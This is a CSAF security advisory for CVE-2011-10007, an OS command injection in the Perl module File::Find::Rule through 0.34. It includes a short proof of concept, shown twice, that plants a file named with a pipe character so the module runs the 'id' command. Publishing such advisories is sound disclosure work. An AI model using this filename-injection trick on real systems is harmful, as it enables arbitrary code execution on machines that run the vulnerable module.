CPANSA-File-Find-Rule-2011-10007: File-Find-Rule vulnerability

Publisher giterlizzi Document category csaf_security_advisory
Initial release date 2025-06-05T00:00:00 Engine CSAF Perl Toolkit 0.26
Current release date 2025-06-05T00:00:00 Build Date
Current version 1 Status final
CVSS v3.1 Base Score 8.8 Severity
Original language Language en
Also referred to

Vulnerability Description

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename. A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed. Example: $ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule \     -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)

Vulnerabilities

CVE-2011-10007

Vulnerability Description

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id"
$ perl -MFile::Find::Rule \
    -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'
uid=1000(user) gid=1000(user) groups=1000(user),100(users)

Weakness CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Product status

Known affected
Product Score
File-Find-Rule less than or equal 0.34
CVSS Version CVSS Vector CVSS Base Score CVSS Base Severity
3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 8.8 High
Fixed

giterlizzi

Namespace: https://github.com/giterlizzi/

gdt@cpan.org

References

Revision history

Version Date of the revision Summary of the revision
1 Thu Jun 5 00:00:00 2025 First release

Sharing rules

TLP:WHITE
For the TLP version see: https://www.first.org/tlp/